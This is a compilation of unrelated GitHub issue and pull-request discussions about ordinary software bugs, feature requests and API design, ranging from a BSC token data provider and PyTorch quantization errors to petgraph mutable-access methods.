feat: data provider bsc token & BABT token holder group

As mentioned in the comments of https://github.com/sismo-core/sismo-hub/issues/1483 here is a new data provider for BSC tokens and NFTs, powered by Ankr.
As their free version has a rate limit it takes a while to generate the group of around 700k BABT holders, but I couldn't find any other free provider that offers the information.

As mentioned in the comments of #1483 here is a new data provider for BSC tokens and NFTs, powered by Ankr. As their free version has a rate limit it takes a while to generate the group of around 700k BABT holders, but I couldn't find any other free provider that offers the information.

Yes I understand, maybe we can use other alternatives like bitquery for example (I saw that we can fetch 10 free call per minute, maybe it can do the job?)
But yes it will be surely complicated to find a way to do this without paying a bit

I found out the one from Ankr can do up to 50req/min with 1000 addresses per request, that's the fastest I found. But I can have another deeper look.

I checked and another provider could be Moralis, but they expect to use their SDK and require an API key. Do you want to add moralis as depency to the hub and store and API key in a .env ? Otherwise I think 50.000 addresses/min with Ankr is the best I could find. :)

Hey @mme022 I tested the code with a premium version of ankr but the problem still the same.
We can't paralellise multiple requests (for example with a promise.all(), because for each request, it gave us in response a "nextPage" field in order to fetch the next results). So we can't fetch all in once, that's why it takes ~15min to fetch all the data and that's unfortunately too long...

Wow still 15 mins with the timeout removed? That's sad to hear.

Wow still 15 mins with the timeout removed? That's sad to hear.

May bad! totally forgot this set timeout (was thinking the API was very slow, I'm dumb) 😅😅
I'll merge this in the afternoon! 👍

Wow still 15 mins with the timeout removed? That's sad to hear.

May bad! totally forgot this set timeout (was thinking the API was very slow, I'm dumb) 😅😅 I'll merge this in the afternoon! 👍

Ah I could've commented that here as well. ;) Nice! Great that it works then!


QAT with multiple GPUs?

I tried to do QAT with multiple GPUs with torch.nn.DataParallel, but I got an error
Traceback (most recent call last):
  File "scripts/qat.py", line 347, in <module>
    args.eval_origin, args.eval_ptq
  File "scripts/qat.py", line 245, in cmd_quantize
    preprocess=preprocess, supervision_policy=supervision_policy())
  File "/GSOL_lossless_AI/yolov7/quantization/quantize.py", line 347, in finetune
    model(imgs)
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/modules/module.py", line 1102, in _call_impl
    return forward_call(*input, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/parallel/data_parallel.py", line 168, in forward
    outputs = self.parallel_apply(replicas, inputs, kwargs)
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/parallel/data_parallel.py", line 178, in parallel_apply
    return parallel_apply(replicas, inputs, kwargs, self.device_ids[:len(replicas)])
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/parallel/parallel_apply.py", line 86, in parallel_apply
    output.reraise()
  File "/usr/local/lib/python3.6/dist-packages/torch/_utils.py", line 434, in reraise
    raise exception
RuntimeError: Caught RuntimeError in replica 1 on device 1.
Original Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/parallel/parallel_apply.py", line 61, in _worker
    output = module(*input, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/modules/module.py", line 1102, in _call_impl
    return forward_call(*input, **kwargs)
  File "/GSOL_lossless_AI/yolov7/models/yolo.py", line 599, in forward
    return self.forward_once(x, profile)  # single-scale inference, train
  File "/GSOL_lossless_AI/yolov7/models/yolo.py", line 625, in forward_once
    x = m(x)  # run
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/modules/module.py", line 1120, in _call_impl
    result = forward_call(*input, **kwargs)
  File "/GSOL_lossless_AI/yolov7/models/common.py", line 111, in fuseforward
    return self.act(self.conv(x))
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/modules/module.py", line 1102, in _call_impl
    return forward_call(*input, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/nn/modules/quant_conv.py", line 120, in forward
    quant_input, quant_weight = self._quant(input)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/nn/modules/quant_conv.py", line 85, in _quant
    quant_input = self._input_quantizer(input)
  File "/usr/local/lib/python3.6/dist-packages/torch/nn/modules/module.py", line 1102, in _call_impl
    return forward_call(*input, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/nn/modules/tensor_quantizer.py", line 346, in forward
    outputs = self._quant_forward(inputs)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/nn/modules/tensor_quantizer.py", line 310, in _quant_forward
    outputs = fake_tensor_quant(inputs, amax, self._num_bits, self._unsigned, self._narrow_range)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/tensor_quant.py", line 306, in forward
    outputs, scale = _tensor_quant(inputs, amax, num_bits, unsigned, narrow_range)
  File "/usr/local/lib/python3.6/dist-packages/pytorch_quantization/tensor_quant.py", line 354, in _tensor_quant
    outputs = torch.clamp((inputs * scale).round_(), min_bound, max_bound)
RuntimeError: Expected all tensors to be on the same device, but found at least two devices, cuda:1 and cuda:0!

It would be best if you used the DDP instead of DP.


Direct class referencing

Hi, how can i dirrectly reference to the class, which is not child of my component.
like this
const Div = styled.div`
  display: inline-block;
  &:hover {
    border: 1px solid red;
  }
 // HERE im referencing to the outer  BODY tag
  body {
  font-size: 20px;
  }
`;

Version
2.1.0

Reproduction

https://www.webpackbin.com/bins/-KeeZCr0xKfutOfOujxN
https://codesandbox.io/s/rkmNRByE4
Steps to reproduce
Expected Behavior
Actual Behavior

You can do this with injectGlobal:
const Div = styled.div`
  display: inline-block;
  &:hover {
    border: 1px solid red;
  }
`;

injectGlobal`
 // HERE im referencing to the outer  BODY tag
  body {
  font-size: 20px;
  }
`

It's good practice to do this only once per Project for example in you App.js or where your Root component lives.

Wow, big thanks , it was really helpful


dnscrypt-proxy plugin ignores do not use IPv6 for DNS

Important notices
Before you add a new report, we ask you kindly to acknowledge the following:

[x] I have read the contributing guide lines at https://github.com/opnsense/plugins/blob/master/CONTRIBUTING.md
[x] I have searched the existing issues, open and closed, and I'm convinced that mine is new.
[x] The title contains the plugin to which this issue belongs

Describe the bug
Unchecked the Use IPv6 Servers setting at the plugin's settings, but when using a DNS leak test like the one from https://browserleaks.com/ip I can see IPv6 addresses for the DNS resolvs.
To Reproduce
Steps to reproduce the behavior:

Install dnscrypt-proxy plugin
Disable unbound
Use dnscrypt-proxy plugin as system DNS by letting it listen to <IP_ADDRESS>:53
Do not check Use IPv6 Servers
Check Block IPv6
Browse to https://browserleaks.com/ip
Try DNS leak
See IPv6 addresses for DNS resolvers used

Expected behavior
Should not see IPv6 addresses for DNS resolvers.
Environment
OPNsense version 24.1.3 (amd64)
dnscrypt-proxy plugin version 1.15

This is not solved


Refactor OPTIONS calls

There may be a way to use a factory for the OPTIONS calls, so we dont have to define seperate methods for each call. This should be looked into and optimized, to shorten the code and reduce code duplication.

We are unable to get the headers on the client side, which makes this idea unfeasible. Closed


V2.1: Fix self-check-script for new pack management

Current coverage is 77.50% (diff: 100%)

Merging #3076 into v2.1 will increase coverage by 0.18%

@@               v2.1      #3076   diff @@
==========================================
  Files           430        430
  Lines         22061      22061
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits          17057      17097    +40
+ Misses         5004       4964    -40
  Partials          0          0

Powered by Codecov. Last update e42b15e...cbd8936


Provide secondary delegate for RetryAwareServiceInstanceListSupplier.

Fixes gh-880.

I would think that just selecting another instance from the ZonePreferenceServiceInstanceListSupplier would be sufficient.  Maybe I am missing the use case.

I've not seen someone ask for this before except the one person who commented in the issue you filed.

I don't remember whether I've seen anyone else, but it does make sense to me. 2 different suppliers can return completely different instance sets and there may be use-cases where it makes sense to fall back to a different set while retrying.

I'm going to suggest we wait on this one and not try and get this in this service release

I agree

Closing as we've decided to wait for votes on this issue.


Setting temporary environment variable will leave a blank environment behind

~> env | grep TEST
Exception: grep exited with 1
[tty 120], line 1: env | grep TEST
~> { tmp E:TEST = 1; put $E:TEST }
▶ 1
~> env | grep TEST
TEST=

This is a duplicate of #1448. Don't feel bad, @tw4452852, about opening a duplicate issue as this type of issue is difficult to search for and thus hard to know whether it has already been reported. It's better to have people open a new issue for a problem we already know about than not to tell us you observed unexpected behavior.

@krader1961
Sorry for the duplication, it's my bad. I will close this one.

Sorry for the duplication, it's my bad. I will close this one.

No need to apologize. Like I said, these types of issues can be hard to find even when you make the effort to search for whether it has already been reported. I see you've created a possible fix which is fantastic. Hopefully @xiaq or myself will be able to review it soon.

@krader1961
Thanks for your kindness.


In UIAlertView.mm the number of buttons is hardcoded to 16

Dear WinObjC Engineers,
In UIAlertView.mm the number of buttons is hardcoded to 16:
ActionButton _buttons[16];
and there is no check on this limit when adding buttons so adding over 16 throws an exception.
Sincerely,
Ed

@edvv, thanks for logging this issue.  The intent was to limit it to 16 buttons, is the limit blocking you?

@tadam-msft It is not blocking, a workaround is done. UIAlertView is just a stopgap measure to deal with the lack of UIAlertController and lack of other UI elements. They both suffer from a lack of features (even on the iPad).
You might want to at least put a check for the 16 limit (and perhaps a log statement) so that it doesn't throw a memory exception.

Agreed
From: Ed VanVliet<EMAIL_ADDRESS>Sent: Wednesday, January 4, 2017 9:54 AM
To: Microsoft/WinObjC<EMAIL_ADDRESS>Cc: Terry Adams<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [Microsoft/WinObjC] In UIAlertView.mm the number of buttons is hardcoded to 16 (#1614)
@tadam-msfthttps://github.com/tadam-msft It is not blocking, a workaround is done. UIAlertView is just a stopgap measure to deal with the lack of UIAlertController and lack of other UI elements. They both suffer from a lack of features (even on the iPad).
You might want to at least put a check for the 16 limit (and perhaps a log statement) so that it doesn't throw a memory exception.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/Microsoft/WinObjC/issues/1614#issuecomment-270438150, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AUXHkE7QawrOoYB-yvJF_BxdMSm2VHFHks5rO9y4gaJpZM4LZywQ.


python: init ephemeral_port_reserve at v1.1.0

Motivation for this change
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Fits CONTRIBUTING.md.

Success on aarch64-linux (full log)
Attempted: python
Partial log (click to expand)
/nix/store/sa795spv9vxy8gwvaly3i04v1fx5c8kr-python-2.7.15

Success on x86_64-linux (full log)
Attempted: python
Partial log (click to expand)
/nix/store/azhdpcvzczk0h1xzmzzrwd2sc3mddm6s-python-2.7.15

@GrahamcOfBorg python2.pkgs.ephemeral_port_reserve python3.pkgs.ephemeral_port_reserve

Ran 0 tests in 0.000s

No tests are found. Either the test runner cannot find tests and needs to be patched, or there simply are no tests in which case the tests need to be disabled. Do include a comment explaining why the tests are disabled.

Success on x86_64-darwin (full log)
Attempted: python
Partial log (click to expand)
/nix/store/lwrc1yjzasmgh4k43s6pz49kbc099yl6-python-2.7.15

Success on x86_64-darwin (full log)
Attempted: python2.pkgs.ephemeral_port_reserve, python3.pkgs.ephemeral_port_reserve
Partial log (click to expand)
reading manifest file 'ephemeral_port_reserve.egg-info/SOURCES.txt'
writing manifest file 'ephemeral_port_reserve.egg-info/SOURCES.txt'
running build_ext

----------------------------------------------------------------------
Ran 0 tests in 0.000s

OK
/nix/store/nmzhd15nk9y26d4kabwkqzrw0hl9bwcl-python2.7-ephemeral_port_reserve-1.1.0
/nix/store/fbljsw7iszmrvnvys7735frfrzv8x73z-python3.6-ephemeral_port_reserve-1.1.0

@jb55 Why did you close?

@dotlambda don't have time to fix this right now, trying to keep the noise down in the repo


[Feature Request] Flag for disabling implicit coerisions

Search Terms
safe typescript, predictable behavior, no implicit coercion
Suggestion
I would like to suggest to introduce a new flag for disabling implicit type coercion at all
Something like this:
--predicatableJs

Or some other flag
Use Cases
To make Typescript even more safe
I want to enforce my team to use only predictable features and if they want old style behavior, just to write another module or disable warning at the top of the file (in such way all reviewers of this files will see that)
Examples
Instead of writing either:
let strange_boolean: any = true;
let strange_string: string = "1";
console.log(strange_boolean == strange_string);

or
let strange_number: any = 2;
let strange_string: string = "1";
console.log(strange_number == strange_string);

I want to enforce that this code produce error and compiles only if there is explicit cast:
let strange_boolean: any = true;
let strange_string: string = "1";
console.log(String(strange_boolean) == strange_string);

let strange_boolean: any = true;
let strange_string: string = "1";
console.log(Boolean(strange_boolean) == Boolean(strange_string));

let strange_number: any = 2;
let strange_string: string = "1";
console.log(String(strange_number) == strange_string);

let strange_number: any = 2;
let strange_string: string = "1";
console.log(strange_number == Number(strange_string));

Checklist
My suggestion meets these guidelines:

[ ] This wouldn't be a breaking change in existing TypeScript/JavaScript code
[x] This wouldn't change the runtime behavior of existing JavaScript code
[X] This could be implemented without emitting different JS based on the types of the expressions
[X] This isn't a runtime feature (e.g. library functionality, non-ECMAScript syntax with JavaScript output, etc.)
[X] This feature would agree with the rest of TypeScript's Design Goals.

We're not going to add a flag that causes errors on any, so that's right out. A flag for disabling boolean coercion is discussed at #14114

We're not going to add a flag that causes errors on any, so that's right out. A flag for disabling boolean coercion is discussed at #14114

I am not taking about boolean coercion, but about coercion at all
I want to enforce users to write by default safe code, that's all

@RyanCavanaugh Have you seen my comment ? Will you remove tag Duplicate ?

@ahejlsberg I just want to call to you as Lead of the language ...
Don't you think this Feature Request should be implemented ? This very useful that make TypeScript even more safe ...

@redradist We're tracking this adequately; thank you for the feedback. See also #38905


HTTPS Support

According to Microsoft's website, their translation tool can use either HTTP or HTTPS to accept requests
https://www.microsoft.com/en-us/translator/faq.aspx (under "Is my data private and secure?").
Are you able to update the library to use the HTTPS versions instead?
The fields are private static final so I am not able to modify them myself using reflection, and am struggling to build the project to edit it directly.

OK, I'll add SSL support in this days.

669e21b0542bc021fa0242d440ab253bca26c0b5

You can using SSL by
Translate.setUsingSSL(true);

or
MicrosoftTranslatorAPI.setUsingSSL(true);

Thankyou, just tested it :)


Cannot access tang operator conatiners

Installing via operatorsdk results in the following in the logs:
time="2022-05-20T14:43:45Z" level=warning msg="\x1b[1;33mDEPRECATION NOTICE:\nSqlite-based catalogs and their related subcommands are deprecated. Support for\nthem will be removed in a future release. Please migrate your catalog workflows\nto the new file-based catalog format.\x1b[0m"
time="2022-05-20T14:43:45Z" level=info msg="adding to the registry" bundles="[quay.io/sec-eng-special/tang-operator-bundle:v0.0.24]"
time="2022-05-20T14:44:15Z" level=info msg="trying next host" error="failed to do request: Head \"https://quay.io/v2/sec-eng-special/tang-operator-bundle/manifests/v0.0.24\": dial tcp: i/o timeout" host=quay.io
time="2022-05-20T14:44:15Z" level=error msg="permissive mode disabled" bundles="[quay.io/sec-eng-special/tang-operator-bundle:v0.0.24]" error="[error resolving name : failed to do request: Head \"https://quay.io/v2/sec-eng-special/tang-operator-bundle/manifests/v0.0.24\": dial tcp: i/o timeout, image \"quay.io/sec-eng-special/tang-operator-bundle:v0.0.24\": not found]"
Error: [error resolving name : failed to do request: Head "https://quay.io/v2/sec-eng-special/tang-operator-bundle/manifests/v0.0.24": dial tcp: i/o timeout, image "quay.io/sec-eng-special/tang-operator-bundle:v0.0.24": not found]

Likewise, I cannot find this image quay.io.  Is this image public?

Looks like it's pulling now, closing this out


Compilation and IOException errors on shutdown with no plugins

This happens now due to the recent streaming compiler changes and additions.
9:01 PM [Warning] CallHook 'OnServerShutdown' on plugin 'Rust Legacy Core' took: 6090.195ms
9:01 PM [Error] Compilation error:  (IOException: Invalid handle to path "D:\Servers\Game\Rust\Legacy\[Unknown]")
9:01 PM [Debug]   at System.IO.FileStream.ReadData (IntPtr handle, System.Byte[] buf, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at System.IO.FileStream.RefillBuffer () [0x00000] in <filename unknown>:0
  at System.IO.FileStream.ReadInternal (System.Byte[] dest, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at System.IO.FileStream.Read (System.Byte[] array, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at ObjectStream.IO.ObjectStreamWrapper`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadObject (Int32 len) [0x00000] in <filename unknown>:0
  at ObjectStream.IO.ObjectStreamWrapper`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadObject () [0x00000] in <filename unknown>:0
  at ObjectStream.ObjectStreamConnection`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadStream () [0x00000] in <filename unknown>:0
  at ObjectStream.Threading.Worker.DoWorkImpl (System.Object oAction) [0x00000] in <filename unknown>:0

5:55 PM [Warning] CallHook 'OnServerShutdown' on plugin 'Rust Core' took: 2628.296ms
5:55 PM [Error] Compilation error:  (IOException: Invalid handle to path "D:\Servers\Game\Rust\Latest\[Unknown]")
5:55 PM [Debug]   at System.IO.FileStream.ReadData (IntPtr handle, System.Byte[] buf, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at System.IO.FileStream.RefillBuffer () [0x00000] in <filename unknown>:0
  at System.IO.FileStream.ReadInternal (System.Byte[] dest, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at System.IO.FileStream.Read (System.Byte[] array, Int32 offset, Int32 count) [0x00000] in <filename unknown>:0
  at ObjectStream.IO.ObjectStreamWrapper`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadObject (Int32 len) [0x00000] in <filename unknown>:0
  at ObjectStream.IO.ObjectStreamWrapper`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadObject () [0x00000] in <filename unknown>:0
  at ObjectStream.ObjectStreamConnection`2[ObjectStream.Data.CompilerMessage,ObjectStream.Data.CompilerMessage].ReadStream () [0x00000] in <filename unknown>:0
  at ObjectStream.Threading.Worker.DoWorkImpl (System.Object oAction) [0x00000] in <filename unknown>:0

The error is gone, but the shutdown still takes anywhere from 2000ms to 22000ms or more. @Nogrod


Error when install in advanced tamplate

Hi!
When i add to frontend config this (how in docs):
 'modules' => [
    'user' => [
        // following line will restrict access to admin page
        'as frontend' => 'dektrium\user\filters\FrontendFilter',
    ],
],

i see this error:

ReflectionException
Class dektrium\user\filters\FrontendFilter does not exist
In sitename\vendor\yiisoft\yii2\di\Container.php

What i doing wrong? Thanks.

You should update your yii2-user installation.

I see error: Class dektrium\user\filters\FrontendFilter does not exist
What to do?

@QuinLena15 as I've already said: you should update the module.

Hi I get the same error and I have updated the module.

@dmeroff What do you mean by updating 'module'?

@dirttech composer.phar update

me also getting the same error,
ReflectionException
Class dektrium\user\filters\FrontendFilter does not exist
i updated the composer to.. but still stuck with same error...
can any body can help me to solve dis ...

how to upadte yii2/user module??

ERROR NOT GOING AFTER UPDATING ??
WHAT TO DO??

same error here also any help how to setup module

hi , i hosted my advance yii application, www.myrepairgeek.com.

@mgitech  use "yii2-advanced-one-domain-config" github project to configure your project.


PV2-3203 - .NET 6 upgrade

Note:
AT's removed due to strategy of keeping all AT's in core das-payments-v2 repo after migration.
Pre-release DAS packages will be upgraded to full release when available

PR superseded by https://github.com/SkillsFundingAgency/das-payments-v2-requiredpayments/pull/6


Multiple errors locating data linux version

Describe the issue
I get multiple errors when trying to locate data and I can't get pass the screen. I get errors at this screen both when i tick 'Would you like to locate these sessions programmatically' and when I don't. The errors are different though. Here I focus on the errors when I tick to locate the sessions programmatically
First, not all files are listed, only one per subject.
Second, I click next and see the errors logged in the console below.

Steps to Reproduce

Create a new conversation pipeline
Check both 'Will this pipeline be run on multiple sessions' and 'Would you like to locate these sessions programmatically'
Video - VideoInterface format
Choose base directory and string path
Click Next, it tries to locate and errors are logged in the console.

Operating System
Ubuntu 20.04.6 LTS
GUIDE Version
linux-fix
Code of Conduct
Yes
Did you confirm this issue was not already reported?
Yes

I managed to solve the issue of not moving pass that screen by adding the line
const keepExistingData = false;
to the file GuidedPathExpansion.js.
However, I can't still list all the available files (they are actually found by DeepDict, but this doesn't inject vertically to the GUI and API. Then, once completing the table. I'm getting another error:

Thanks for the report @iezqrom!
As a linux user, you'll be a little more exposed to day-to-day bugs like this, so be sure to always be pulling the latest state of that branch from Git
@garrettmflynn has started a general fix to this on https://github.com/NeurodataWithoutBorders/nwb-guide/pull/667, it will take a little while to trickle down to the linux-fix branch

@garrettmflynn @CodyCBakerPhD thanks for the quick reply both!
We're looking into implementing this in our lab, so I'm exploring it. I'm keen on contributing when I get a handle of things.
When do you expect to fix these issues in the linux-fix branch?
On a related note, is there a way to programmatically fill in all the columns of the subject metadata?

@iezqrom We actually just re-imagined the way we do linux installation to help increase its stability
Can you give the linux-latest branch a try? Things may look very different from current main but they will correspond identically to the stable state of the application at time of latest release (in our case, 2 weeks ago) - so it matches latest Windows and Mac release

On a related note, is there a way to programmatically fill in all the columns of the subject metadata?

If you programmatically generate a table file, you should be able to copy and paste from that table file into the interactive table on the GUIDE
Otherwise, purely programmatic access is the domain of NeuroConv, which the GUIDE is simply a graphical wrapper of (plus some additional 'nice' features like file visualization)

Thanks for the replies and for suggesting linux-latest. This branch works more smoothly. However, I'm still getting two errors which prevent me from completing the conversation pipeline. The first is that not all videos are listed in Locate data screen. I'd expect to see 4 videos listed, but I can only see the baselines ones, see image:

Then, I'm getting a video is not allowed warning in the source data screen, see image below. I think this is the step that's preventing me from moving on to the next Conversation preview step and hence completing the pipeline

To get around this quickly, can you specify your source data manually instead of programmatically?
You have uncovered a more complex issue related to the VideoInterface, which will only accept one file in the file_paths property at the moment.

I still have the issue that I can only associate one video per mouse in the source data information page, but maybe there's something I'm missing? See screenshot below

We hope to have an advanced tutorial to clarify these kinds of details of how to use this interface soon
Until then I'll describe here
A single VideoInterface is for attaching a lossy-compressed video stream from a single camera to an NWB file
The reason it takes file_paths: List[FilePath] is for the case where the user buffered the contiguous acquisition of this stream on disk by creating multiple files; for example, "Camera1/001.mp4" (with first 300 frames), "Camera1/002.mp4" (with next 300 frames, no other gap between 001 and 002), and so on
I think we only allow one path at a time for the moment due to lack of a component for easily specifying the order of those files in the contiguous schema (one would hope natsort would work in most if not all cases, but user might still need to be able to offer manual corrections); maybe @garrettmflynn remembers where we are on that?
At any rate, is that the case you're talking about needing this for? Otherwise, if this is for including data from multiple cameras, then all you need to do is add multiple VideoInterfaces (one per camera) to your data formats and select a different video as the source data for each one (you can technically use that as a workaround to the other use case for the time being too)

Yes, this is correct. We've tabled the ability for users to specify multiple video files for the reasons that Cody described above.
We haven't yet discussed natsort and the ability to handle this automatically.

Right, that makes sense, thanks so much for the thorough explanation. Indeed, I was trying to add videos that were from the same session and mice taken one after the other (with a small break in between). I might also need the case for including data from multiple cameras soon, so thanks so much for the explanation!

Closing this for now, will ping you again when we add more support for this case to the VideoInterface (the gap in between videos is especially tricky and requires special treatment in a feature we have yet to support)


Create 20230928-core-team.md

I'll make an issue here for adding core team notes from throughout 2023


Add crash reporting opt-out to account settings page

Nice to have it right now, but also people have asked about this so maybe we could just add it.

Closing as duplicate of #380


Accessibility API

Is this connected to the accessibility API to retrieve context information (like url, app name, etc) yet?

Hi, I tinkered a bit with the accessibility API to try to extract the text directly from the apps instead of using an OCR, but did not achieve much.
If you have any good reference material it would be great, or you can make a PR :)

Here's one that cyte2 was referencing from: https://github.com/tmandry/AXSwift
However I am not sure if there is a Python API for it, do you mind sharing some of your tinkering code?
I believe we still need OCR for extracting the text, the accessibility api is for extracting "metadata" like url or window contexts.

Unfortunately I don't seem to have kept my tinkering code :/ I tried to use ORCA screen reader (https://github.com/GNOME/orca) but it was not the right tool I think

https://kevinchen.co/blog/rewind-ai-app-teardown/
^^^ I think this would probably help

Yes this blog post was very helpful :)


Added wider unix color compatibility with VT100 16-bit colors

Changed grid of people from vector simulating a grid to a more grid like object
Adjusted .gitignore to disregard compiled file changes
Adjusted the CMakeLists.txt thread reference to correspond to Threads::Threads
Added Default value to TextColour enum (also saving the first default attribute scheme on windows)

I like your changes, they will increase readability :) (as well as work on Unix for the colours which is always nice)
One thing I am confused about is line 210 on World.cpp, you call "Grid::init" but I see no "init" function in the Grid class when looking at the changed files. Was this accidentally removed?
Thanks for the interest in my project though :)

The init is in reference to the Person object contained with the grid.

Oh right! I feel silly now.
Looks good to pull!

I mean merge.
Thanks!


VM definition and update flow should support enabling MSI without creating role assignment

@netwmr01 - we will address this as part of the august release.

Feature is available as of v1.2 hence closing this.


I don't know where else to open this...

Error: Could not find or load main class HelloFX
Caused by: java.lang.NoClassDefFoundError: javafx/application/Application

Apparently the openjfx 11.0.2 sdk doesn't include the Application class.

My bad!
I was using incorrect command line.
Needed:
java --module-path %PATH_TO_FX% --add-modules javafx.controls HelloFX


Add lang to main apply now button

I merged because tests are failing due to a chrome driver issue and not related to this PR.


[map-basic] display POI on map

"hard" code a POI option and pass a png via prop?
provide a slot on map-basic to pass a POI element somehow?
implement a whole custom layer with the POI as a point?

initial implementation of "feature layer" approach in 7bf5685f87b5c9cefe887dbe5412e830887e9909

initial implementation of "feature layer" approach in 7bf5685f87b5c9cefe887dbe5412e830887e9909


Update archiver to a stable version

[x] All tests passed. If this feature is not already covered by the tests, I added new tests.
[x] This pull request is on the dev branch.
[x] I used gofmt for formatting the code before submitting the pull request.

Closing in favour of https://github.com/jfrog/jfrog-client-go/pull/533


Some thoughts and ideas related to Graph.

During my use of Graph in dsp-chain I've run into a few issues for which there don't yet seem to be any easy work-arounds and often I find myself resorting to unsafe code when there is probably a nicer solution possible within Graph's API. Most instances revolve around gaining simultaneous mutable access to multiple different nodes/edges at once. Just thought I'd share some of these issues along with some thoughts and ideas on how they might be addressed.
Access to incoming edges
I've noticed that Graph provides two main methods for iterating over edges of a given node:

edges: provides an iterator over the outgoing edges paired with their respective node indices.
edges_both: provides an iterator over all edges paired with their respective node indices.

Here are some thoughts that came to mind:

Perhaps edges could take a Direction argument so that a user may iterate over either direction, rather than only Outgoing?
Perhaps it would be useful to provide edges_mut and edges_both_mut variations?
Maybe edges_undirected (instead of edges_both) would be more consistent with neighbors_undirected and find_edge_undirected?

Simultaneous mutable access to a node and its edges.
There are a few variations on this problem, the two that I've run into are:

Needing both mutable access to a node weight and immutable access to its incoming edge weights simultaneously.
Needing both immutable access to a node weight and mutable access to its outgoing edge weights simultaneously.

The exact use case within dsp-chain is: (during a reverse dfs) each node must be able to read from each of its incoming edge's buffers so that it may sum them to its own buffer. Once it has rendered its own buffer, it then writes the result to each of its outgoing edges' buffers. This must all be achieved without allocating any new intermediate buffers.
In the API's current state I'm unsure of how to get around this without unsafe code. I imagine it should be possible to expose a safe interface to this use-case so that the above examples look something like:
// Mutable access to a node weight and immutable access to its incoming edge weights simultaneously.
graph.node_mut_with_edges(node_idx, pg::Incoming, |node_weight_mut, edge_weights| {
    for edge_weight in edge_weights {
        // do stuff with node_weight_mut and edge_weight....
    }
})

// Immutable access to a node weight and mutable access to its outgoing edge weights simultaneously.
graph.node_with_edges_mut(node_idx, pg::Outgoing, |node_weight, edge_weights_mut| {
    for edge_weight_mut in edge_weights_mut {
        // do stuff with node_weight and edge_weight_mut...
    }
});

Pair indexing
It would be nice to be able to index into the graph twice at once, i.e. perhaps by allowing indexing the Graph with tuples.
let (a_weight, b_weight) = &mut graph[(a, b)];

I noticed that you have a private index_twice function in the graph module already - perhaps there's a reason you've avoided exposing it? I guess one problem with this is that the returned references are always either 1. both immutable or 2. both mutable, without exposing an option for combinations of the two.
Anyway, apologies for the lengthy issue! These are currently things I'm dodging with unsafe, but just thought I'd come to the source, share my experience and perhaps land a nicer solution closer to home - let me know your thoughts when you get a chance :) Also, if there are already nice solutions to any of the above that I might have missed, please feel free to share!

Thank you for writing this, it's very valuable!
I think almost all of it can be addressed. Graphs and mutability are tricky, I'm already happy with how the Dfs type allows you to traverse it without an active borrow. But I understand you need more than that.
I've imagined that in some cases you may have to use closure-callback based traversals rather than iterators -- your sketch of this is a good example of something I think we can do.
I knew edge iterators were inconsistent, but I didn't need them yet, so they have just stayed like they were. I'll definitely update these.
index_twice is just a function I need for indexing a slice twice -- of course the idea can be extended to the graph.

I'll start with the easy parts -- edges_directed() is in 0.1.7.

Look at the index twice branch! Adding this “simple” method (not so simple) allows you do very much with safe code.
This is experimental so far.
Look at the testcase I added which shows how to read & mutate edges and nodes at the same time, as long as they are disjoint.
As you can see, all the iteration has to be "manual" because we can't give a borrow of the graph to an iterator. But it works..

Added the edge walker to make the testcase much nicer to write.

Ohhh my! Awesome work! That edge_walker/index_twice combo makes for a beautiful stroll :+1:

Thank you for the ideas for this! I'm cleaning it up & will merge to master today. I'm quite excited it turned out so nice.

Published in 0.1.8. Documented & changed some names. I think this turned out great so far. index_twice is more than twice as cool as indexing twice!

twice as nice*

Awesome! Well, I guess that addresses this entire issue! Going to close, but feel free to re-open if you feel there is still more related work to be done :+1:

@mitchmindtree I've been puzzling over that “reverse dfs” order you said you needed. I don't know your package, but maybe you're thinking of topological order? That's used when you have a DAG and need to visit all dependencies before you visit their consumers.

Oh no need to puzzle over it - you're right, what I was after what the topological order so that I could visit all dependencies before their consumers :+1: I didn't know what a topological sort was until soon after I asked you about the reverse dfs :)
In the end, my dsp-chain is working nicely by:

Doing a DFS through the graph from the master node with the edge directions reversed (here).
Collecting and storing the indices in their visit order.
Iterating over the dfs_visit_order (this is topological order, right?) in reverse when audio is requested (here).

I noticed that there is an algo::toposort function, however it takes a &Graph rather than a &G where G: Visitable which meant I was unable to use the visit::Reversed wrapper as I could with Dfs (I was meaning to mention this to you, but hadn't got around to it yet). Would it be possible for toposort to take a generic Visitable type rather than a Graph?

I don't think that's topological order.
I was thinking of this graph:
A -> B
B -> C
A -> C

Only topo order is A, B, C
A reverse dfs from C could visit either B or A first.
Yes, toposort could be made more generic, but I think you can just reverse the topo order you get.

